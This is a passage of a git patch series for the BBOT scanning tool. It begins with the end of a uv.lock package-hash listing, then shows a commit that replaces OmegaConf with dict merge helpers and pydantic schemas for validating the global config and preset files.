"sha256:cc604dc06027dbeb8281aeac5899c35fcfe7c77b25212833709f0bff4ce74d2a"}, + {file = "xxhash-3.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:277175a73900ad43a8caeb8b99b9604f21fe8d7c842f2f9061a364a7e220ddb7"}, + {file = "xxhash-3.6.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:cfbc5b91397c8c2972fdac13fb3e4ed2f7f8ccac85cd2c644887557780a9b6e2"}, + {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2762bfff264c4e73c0e507274b40634ff465e025f0eaf050897e88ec8367575d"}, + {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2f171a900d59d51511209f7476933c34a0c2c711078d3c80e74e0fe4f38680ec"}, + {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:780b90c313348f030b811efc37b0fa1431163cb8db8064cf88a7936b6ce5f222"}, + {file = "xxhash-3.6.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b242455eccdfcd1fa4134c431a30737d2b4f045770f8fe84356b3469d4b919"}, + {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a75ffc1bd5def584129774c158e108e5d768e10b75813f2b32650bb041066ed6"}, + {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1fc1ed882d1e8df932a66e2999429ba6cc4d5172914c904ab193381fba825360"}, + {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:44e342e8cc11b4e79dae5c57f2fb6360c3c20cc57d32049af8f567f5b4bcb5f4"}, + {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:c2f9ccd5c4be370939a2e17602fbc49995299203da72a3429db013d44d590e86"}, + {file = "xxhash-3.6.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:02ea4cb627c76f48cd9fb37cf7ab22bd51e57e1b519807234b473faebe526796"}, + {file = "xxhash-3.6.0-cp39-cp39-win32.whl", hash = "sha256:6551880383f0e6971dc23e512c9ccc986147ce7bfa1cd2e4b520b876c53e9f3d"}, + {file = "xxhash-3.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:7c35c4cdc65f2a29f34425c446f2f5cdcd0e3c34158931e1cc927ece925ab802"}, + {file = "xxhash-3.6.0-cp39-cp39-win_arm64.whl", hash = "sha256:ffc578717a347baf25be8397cb10d2528802d24f94cfc005c0e44fef44b5cdd6"}, + {file = "xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0"}, + {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296"}, + {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13"}, + {file = "xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd"}, + {file = "xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d"}, + {file = "xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6"}, +] + +[[package]] +name = "yara-python" +version = "4.5.2" +description = "Python interface for YARA" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0"}, + {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c"}, + {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f"}, + {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa"}, + {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8"}, + {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a"}, + {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350"}, + {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990"}, + {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c"}, + {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44"}, + {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d"}, + {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742"}, + {file = "yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df"}, + {file = "yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023"}, + {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af"}, + {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e"}, + {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a"}, + {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822"}, + {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c"}, + {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd"}, + {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26"}, + {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153"}, + {file = "yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06"}, + {file = "yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1"}, + {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a"}, + {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86"}, + {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b"}, + {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94"}, + {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722"}, + {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294"}, + {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004"}, + {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0"}, + {file = "yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120"}, + {file = "yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588"}, + {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8"}, + {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae"}, + {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6"}, + {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213"}, + {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268"}, + {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5"}, + {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5"}, + {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959"}, + {file = "yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f"}, + {file = "yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f"}, + {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ba81f3bfba7cd7aa7bf97840eba7e2bb3d9f643090e47cbc03b2070e4f44568f"}, + {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6cbb9ded3d6dd981cb1f1a7e01b12efd260548bc2f27bf29e9dbeca1ab241363"}, + {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cb760bb5aaa9c37e0e43b64cccfb7ff1a5ae584392661ebd82a50b758ea2d86"}, + {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96b22ae1651f8fd2eb61d0d140daa71dce4346137124abead0bb15c47b1259ec"}, + {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e96c6cdf2284077ae039832481046806cd2b0c42c45d160da567dd0cc5673f3"}, + {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:475fb16f33767c8c048cf009cdf307688b4ed961cf29fc28b2a020c3469e4cba"}, + {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c195d69253681751d75c6f79c88f57ebf5cc547821bdcba89fa29466356f241b"}, + {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8cc49f5543398b48e6bcf20c6a93a34ebe6732b8ff1e55918c8908a4a6cfeaf8"}, + {file = "yara_python-4.5.2-cp39-cp39-win32.whl", hash = "sha256:2ccd788c8103f43c58d4072f696ee7b7e5be6c19bbce32f9f8e5d7b7def3ecd4"}, + {file = "yara_python-4.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:ab8d75dc181b915ca7eb8eb1c3f66597286436820122f84ae9f07a7b98f256fc"}, + {file = "yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce"}, +] + +[metadata] +lock-version = "2.1" +python-versions = ">=3.10,<3.15" +content-hash = "d9f8e2a7fee2a88784b4cfdeb80fd1a2105a87439be4a9bc783faeb782845320" From 86188920a665df59e3359d10a0db6419c51859dd Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 23 Apr 2026 13:27:41 -0400 Subject: [PATCH 543/912] preset validation phase 1 --- bbot/core/config/files.py | 27 +- bbot/core/config/merge.py | 83 +++++ bbot/core/config/models.py | 352 ++++++++++++++++++ bbot/core/core.py | 69 ++-- bbot/core/helpers/misc.py | 27 +- bbot/core/modules.py | 116 ++++-- bbot/modules/legba.py | 7 +- bbot/modules/output/http.py | 4 +- bbot/scanner/__init__.py | 3 +- bbot/scanner/preset/__init__.py | 3 +- bbot/scanner/preset/args.py | 45 ++- bbot/scanner/preset/environ.py | 25 +- bbot/scanner/preset/preset.py | 21 +- bbot/scanner/preset/validate.py | 245 ++++++++++++ bbot/scanner/scanner.py | 2 +- bbot/test/bbot_fixtures.py | 9 +- bbot/test/conftest.py | 5 +- bbot/test/test_step_1/test_config.py | 30 +- bbot/test/test_step_1/test_presets.py | 44 +-- bbot/test/test_step_1/test_validate_preset.py | 61 +++ bbot/test/test_step_2/module_tests/base.py | 6 +- pyproject.toml | 3 +- uv.lock | 58 +-- 23 files changed, 1032 insertions(+), 213 deletions(-) create mode 100644 bbot/core/config/merge.py create mode 100644 bbot/core/config/models.py create mode 100644 bbot/scanner/preset/validate.py create mode 100644 bbot/test/test_step_1/test_validate_preset.py diff --git a/bbot/core/config/files.py b/bbot/core/config/files.py index 2be7bbaa1a..b056fdd500 100644 --- a/bbot/core/config/files.py +++ b/bbot/core/config/files.py @@ -1,7 +1,8 @@ import sys +import yaml from pathlib import Path -from omegaconf import OmegaConf +from .merge import deep_update from ...logger import log_to_stderr from ...errors import ConfigLoadError @@ -18,24 +19,32 @@ class BBOTConfigFiles: def __init__(self, core): self.core = core - def _get_config(self, filename, name="config"): + def _get_config(self, filename, name="config") -> dict: filename = Path(filename).resolve() + if not filename.exists(): + return {} try: - conf = OmegaConf.load(str(filename)) + with open(filename) as f: + conf = yaml.safe_load(f) or {} + if not isinstance(conf, dict): + raise ConfigLoadError( + f"Error parsing config at {filename}: expected a YAML mapping at the top level, " + f"got {type(conf).__name__}" + ) cli_silent = any(x in sys.argv for x in ("-s", "--silent")) if __name__ == "__main__" and not cli_silent: log_to_stderr(f"Loaded {name} from {filename}") return conf + except ConfigLoadError: + raise except Exception as e: - if filename.exists(): - raise ConfigLoadError(f"Error parsing config at {filename}:\n\n{e}") - return OmegaConf.create() + raise ConfigLoadError(f"Error parsing config at {filename}:\n\n{e}") - def get_custom_config(self): - return OmegaConf.merge( + def get_custom_config(self) -> dict: + return deep_update( self._get_config(self.config_filename, name="config"), self._get_config(self.secrets_filename, name="secrets"), ) - def get_default_config(self): + def get_default_config(self) -> dict: return self._get_config(self.defaults_filename, name="defaults") diff --git a/bbot/core/config/merge.py b/bbot/core/config/merge.py new file mode 100644 index 0000000000..735f803429 --- /dev/null +++ b/bbot/core/config/merge.py @@ -0,0 +1,83 @@ +""" +Deep-merge helpers replacing omegaconf's merge semantics. + +`deep_update(a, b)` returns a new dict that is `a` with `b` merged in: nested +dicts are merged recursively, leaf values (and lists) from `b` replace those in +`a`. This matches `OmegaConf.merge(a, b)` for BBOT's preset layering use case. +""" + +from __future__ import annotations + +from typing import Any + + +def deep_update(base: dict[str, Any], *updates: dict[str, Any]) -> dict[str, Any]: + """ + Deep-merge one or more update dicts into a copy of `base`. Last wins on + leaf conflicts; lists are replaced wholesale (not concatenated). + """ + result: dict[str, Any] = dict(base) if base else {} + for update in updates: + if not update: + continue + for k, v in update.items(): + if k in result and isinstance(result[k], dict) and isinstance(v, dict): + result[k] = deep_update(result[k], v) + else: + result[k] = v + return result + + +def dotted_get(data: dict[str, Any], path: str, default: Any = None) -> Any: + """ + Look up a dotted path in a nested dict. + + >>> dotted_get({"a": {"b": {"c": 1}}}, "a.b.c") + 1 + >>> dotted_get({"a": 1}, "a.b.c", default="x") + 'x' + """ + cursor: Any = data + for part in path.split("."): + if not isinstance(cursor, dict) or part not in cursor: + return default + cursor = cursor[part] + return cursor + + +def dotted_set(data: dict[str, Any], path: str, value: Any) -> None: + """ + Set a dotted path in a nested dict, creating intermediate dicts as needed. + + >>> d = {} + >>> dotted_set(d, "a.b.c", 1) + >>> d + {'a': {'b': {'c': 1}}} + """ + parts = path.split(".") + cursor = data + for part in parts[:-1]: + if part not in cursor or not isinstance(cursor[part], dict): + cursor[part] = {} + cursor = cursor[part] + cursor[parts[-1]] = value + + +def iter_dotted_paths(data: dict[str, Any], prefix: str = "") -> list[str]: + """ + Yield every dotted leaf path in a nested dict. + + >>> iter_dotted_paths({"a": 1, "b": {"c": 2}}) + ['a', 'b.c'] + """ + paths: list[str] = [] + for k, v in data.items(): + path = f"{prefix}.{k}" if prefix else k + if isinstance(v, dict) and v: + paths.extend(iter_dotted_paths(v, path)) + else: + paths.append(path) + return paths + + +__all__ = ["deep_update", "dotted_get", "dotted_set", "iter_dotted_paths"] diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py new file mode 100644 index 0000000000..63a64df7e2 --- /dev/null +++ b/bbot/core/config/models.py @@ -0,0 +1,352 @@ +""" +Pydantic schema for BBOT's global config and preset files. + +The top-level `BBOTConfig` mirrors the structure of `defaults.yml`. Per-module +configs are validated separately at bake time against each module's own +`class Config(BaseModuleConfig)` (see `BaseModuleConfig` below). +""" + +from __future__ import annotations + +from typing import Any, Optional + +from pydantic import BaseModel, ConfigDict, Field +from pydantic_settings import BaseSettings, SettingsConfigDict + + +STRICT = ConfigDict(extra="forbid") + + +class ScopeConfig(BaseModel): + model_config = STRICT + + strict: bool = False + report_distance: int = 0 + search_distance: int = 0 + + +class DnsConfig(BaseModel): + model_config = STRICT + + disable: bool = False + minimal: bool = False + threads: int = 10 + cache_size: int = 100000 + brute_threads: int = 1000 + brute_nameservers: str = ( + "https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt" + ) + search_distance: int = 1 + runaway_limit: int = 5 + timeout: int = 5 + retries: int = 1 + wildcard_disable: bool = False + wildcard_ignore: list[str] = Field(default_factory=list) + wildcard_tests: int = 10 + abort_threshold: int = 10 + filter_ptrs: bool = True + debug: bool = False + omit_queries: list[str] = Field( + default_factory=lambda: [ + "SRV:mail.protection.outlook.com", + "CNAME:mail.protection.outlook.com", + "TXT:mail.protection.outlook.com", + ] + ) + + +class WebConfig(BaseModel): + model_config = STRICT + + http_proxy: Optional[str] = None + user_agent: str = ( + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97" + ) + user_agent_suffix: Optional[str] = None + spider_distance: int = 0 + spider_depth: int = 1 + spider_links_per_page: int = 25 + http_timeout: int = 10 + httpx_timeout: int = 5 + http_headers: dict[str, str] = Field(default_factory=dict) + http_cookies: dict[str, str] = Field(default_factory=dict) + api_retries: int = 2 + http_retries: int = 1 + httpx_retries: int = 1 + sleep_interval_429: int = Field(30, alias="429_sleep_interval") + max_sleep_interval_429: int = Field(60, alias="429_max_sleep_interval") + debug: bool = False + http_max_redirects: int = 5 + ssl_verify: bool = False + + +class EngineConfig(BaseModel): + model_config = STRICT + + debug: bool = False + + +class DepsToolConfig(BaseModel): + """Per-tool dep config, e.g. deps.ffuf.version""" + + model_config = STRICT + + version: Optional[str] = None + + +class DepsConfig(BaseModel): + model_config = STRICT + + behavior: str = "abort_on_failure" + ffuf: DepsToolConfig = Field(default_factory=lambda: DepsToolConfig(version="2.1.0")) + + +class BaseModuleConfig(BaseModel): + """ + Shared base for every module's `class Config(BaseModuleConfig)`. + Carries the three universal module options that are applied to every + module regardless of declaration. + """ + + model_config = STRICT + + batch_size: int = 10 + module_threads: int = 5 + module_timeout: int = 3600 + + +class BBOTConfig(BaseSettings): + """ + Root BBOT config. Mirrors `bbot/defaults.yml`. + + Unknown top-level keys raise ValidationError. This is what catches typos + like `scpoe:` or `moudules:` in user configs. + """ + + model_config = SettingsConfigDict( + extra="forbid", + env_prefix="BBOT_", + env_nested_delimiter="__", + populate_by_name=True, + ) + + # Basic options + home: str = "~/.bbot" + keep_scans: int = 20 + status_frequency: int = 15 + file_blobs: bool = False + folder_blobs: bool = False + + # Scope / DNS / Web / Engine / Deps + scope: ScopeConfig = Field(default_factory=ScopeConfig) + dns: DnsConfig = Field(default_factory=DnsConfig) + web: WebConfig = Field(default_factory=WebConfig) + engine: EngineConfig = Field(default_factory=EngineConfig) + deps: DepsConfig = Field(default_factory=DepsConfig) + + # Module loader paths + module_dirs: list[str] = Field(default_factory=list) + + # Module runtime + module_handle_event_timeout: int = 3600 + module_handle_batch_timeout: int = 7200 + + # Internal module toggles (these are hardcoded because they're first-class + # features of the scan pipeline; the set changes rarely) + speculate: bool = True + excavate: bool = True + aggregate: bool = True + dnsresolve: bool = True + cloudcheck: bool = True + + # URL handling + url_querystring_remove: bool = True + url_querystring_collapse: bool = True + url_extension_blacklist: list[str] = Field( + default_factory=lambda: [ + "png", + "jpg", + "bmp", + "ico", + "jpeg", + "gif", + "svg", + "webp", + "css", + "woff", + "woff2", + "ttf", + "eot", + "sass", + "scss", + "mp3", + "m4a", + "wav", + "flac", + "mp4", + "mkv", + "avi", + "wmv", + "mov", + "flv", + "webm", + ] + ) + url_extension_special: list[str] = Field(default_factory=lambda: ["js"]) + url_extension_static: list[str] = Field( + default_factory=lambda: [ + "pdf", + "doc", + "docx", + "xls", + "xlsx", + "ppt", + "pptx", + "txt", + "csv", + "xml", + "yaml", + "ini", + "log", + "conf", + "cfg", + "env", + "md", + "rtf", + "tiff", + "bmp", + "jpg", + "jpeg", + "png", + "gif", + "svg", + "ico", + "mp3", + "wav", + "flac", + "mp4", + "mov", + "avi", + "mkv", + "webm", + "zip", + "tar", + "gz", + "bz2", + "7z", + "rar", + ] + ) + + # Parameter handling + parameter_blacklist: list[str] = Field( + default_factory=lambda: [ + "__VIEWSTATE", + "__EVENTARGUMENT", + "__EVENTVALIDATION", + "__EVENTTARGET", + "__VIEWSTATEGENERATOR", + "__SCROLLPOSITIONY", + "__SCROLLPOSITIONX", + "ASP.NET_SessionId", + ".AspNetCore.Session", + "PHPSESSID", + "__cf_bm", + "f5_cspm", + ] + ) + parameter_blacklist_prefixes: list[str] = Field( + default_factory=lambda: [ + "TS01", + "BIGipServer", + "f5avr", + "incap_", + "visid_incap_", + "AWSALB", + "utm_", + "ApplicationGatewayAffinity", + "JSESSIONID", + "ARRAffinity", + ] + ) + + # Event output filter + omit_event_types: list[str] = Field( + default_factory=lambda: [ + "HTTP_RESPONSE", + "RAW_TEXT", + "URL_UNVERIFIED", + "DNS_NAME_UNRESOLVED", + "FILESYSTEM", + "WEB_PARAMETER", + "RAW_DNS_RECORD", + ] + ) + + # Interactsh + interactsh_server: Optional[str] = None + interactsh_token: Optional[str] = None + interactsh_disable: bool = False + + # Per-module configs — validated separately, per-module, at bake time. + # Stored here as raw dicts so the root validator accepts any module + # registered at preload time. + modules: dict[str, dict[str, Any]] = Field(default_factory=dict) + + +class PresetSchema(BaseModel): + """ + Schema for the top-level keys in a preset YAML file. Catches typos like + `modlues:` or `flgas:` at load time. + + `target`/`targets` and `include`/`presets` are aliases; both accepted. + `config` is validated separately as `BBOTConfig`. + """ + + model_config = ConfigDict( + extra="forbid", + populate_by_name=True, + ) + + target: Optional[list[str]] = Field(default=None) + targets: Optional[list[str]] = Field(default=None) + seeds: Optional[list[str]] = None + blacklist: Optional[list[str]] = None + + modules: Optional[list[str]] = None + output_modules: Optional[list[str]] = None + exclude_modules: Optional[list[str]] = None + flags: Optional[list[str]] = None + require_flags: Optional[list[str]] = None + exclude_flags: Optional[list[str]] = None + + config: Optional[dict[str, Any]] = None + module_dirs: Optional[list[str]] = None + + include: Optional[list[str]] = None + presets: Optional[list[str]] = None + + scan_name: Optional[str] = None + output_dir: Optional[str] = None + name: Optional[str] = None + description: Optional[str] = None + + conditions: Optional[list[str]] = None + + verbose: bool = False + debug: bool = False + silent: bool = False + + +__all__ = [ + "BBOTConfig", + "BaseModuleConfig", + "DepsConfig", + "DepsToolConfig", + "DnsConfig", + "EngineConfig", + "PresetSchema", + "ScopeConfig", + "WebConfig", +] diff --git a/bbot/core/core.py b/bbot/core/core.py index 5814052771..3084b16da6 100644 --- a/bbot/core/core.py +++ b/bbot/core/core.py @@ -1,15 +1,14 @@ import os import logging -from copy import copy +from copy import copy, deepcopy from pathlib import Path -from contextlib import suppress -from omegaconf import OmegaConf from bbot.errors import BBOTError +from .config.merge import deep_update from .multiprocess import SHARED_INTERPRETER_STATE -DEFAULT_CONFIG = None +DEFAULT_CONFIG: dict | None = None class BBOTCore: @@ -35,8 +34,8 @@ def __init__(self): self._logger = None self._files_config = None - self._config = None - self._custom_config = None + self._config: dict | None = None + self._custom_config: dict | None = None # bare minimum == logging self.logger @@ -85,22 +84,20 @@ def scans_dir(self): return self.home / "scans" @property - def config(self): + def config(self) -> dict: """ - .config is just .default_config + .custom_config merged together + .config is just .default_config + .custom_config merged together. - any new values should be added to custom_config. + Any new values should be added to custom_config. """ if self._config is None: - self._config = OmegaConf.merge(self.default_config, self.custom_config) - # set read-only flag (change .custom_config instead) - OmegaConf.set_readonly(self._config, True) + self._config = deep_update(self.default_config, self.custom_config) return self._config @property - def default_config(self): + def default_config(self) -> dict: """ - The default BBOT config (from `defaults.yml`). Read-only. + The default BBOT config (from `defaults.yml`). """ global DEFAULT_CONFIG if DEFAULT_CONFIG is None: @@ -111,16 +108,14 @@ def default_config(self): return DEFAULT_CONFIG @default_config.setter - def default_config(self, value): + def default_config(self, value: dict): # we temporarily clear out the config so it can be refreshed if/when default_config changes global DEFAULT_CONFIG self._config = None - DEFAULT_CONFIG = value - # set read-only flag (change .custom_config instead) - OmegaConf.set_readonly(DEFAULT_CONFIG, True) + DEFAULT_CONFIG = dict(value) if value else {} @property - def custom_config(self): + def custom_config(self) -> dict: """ Custom BBOT config (from `~/.config/bbot/bbot.yml`) """ @@ -131,21 +126,16 @@ def custom_config(self): return self._custom_config @custom_config.setter - def custom_config(self, value): - # we temporarily clear out the config so it can be refreshed if/when custom_config changes + def custom_config(self, value: dict): self._config = None - # ensure the modules key is always a dictionary - modules_entry = value.get("modules", None) - if modules_entry is not None and not OmegaConf.is_dict(modules_entry): - value["modules"] = {} - self._custom_config = value + self._custom_config = dict(value) if value else {} def no_secrets_config(self, config): + """Return a copy of the config with secret-looking keys removed.""" from .helpers.misc import clean_dict - with suppress(ValueError): - config = OmegaConf.to_object(config) - + if not isinstance(config, dict): + config = deepcopy(config) return clean_dict( config, *self.secrets_strings, @@ -154,11 +144,11 @@ def no_secrets_config(self, config): ) def secrets_only_config(self, config): + """Return a copy of the config containing only secret-looking keys.""" from .helpers.misc import filter_dict - with suppress(ValueError): - config = OmegaConf.to_object(config) - + if not isinstance(config, dict): + config = deepcopy(config) return filter_dict( config, *self.secrets_strings, @@ -167,23 +157,20 